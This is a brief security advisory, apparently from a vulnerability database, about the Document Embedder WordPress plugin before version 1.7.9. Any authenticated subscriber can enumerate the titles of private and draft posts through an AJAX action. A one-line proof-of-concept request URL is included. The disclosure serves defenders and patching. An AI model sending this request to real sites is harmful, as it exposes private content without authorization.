Document Embedder < 1.7.9 - Subscriber+ Arbitrary Private/Draft Post Title Disclosure

The plugin contains a AJAX action endpoint, which could allow any authenticated user, such as subscriber to enumerate the title of arbitrary private and draft posts.

PoC

As any authenticated user (1764 being the ID of a private/draft post) https://example.com/wp-admin/admin-ajax.php?action=pdfp_get_doc_meta&amp;id;=1764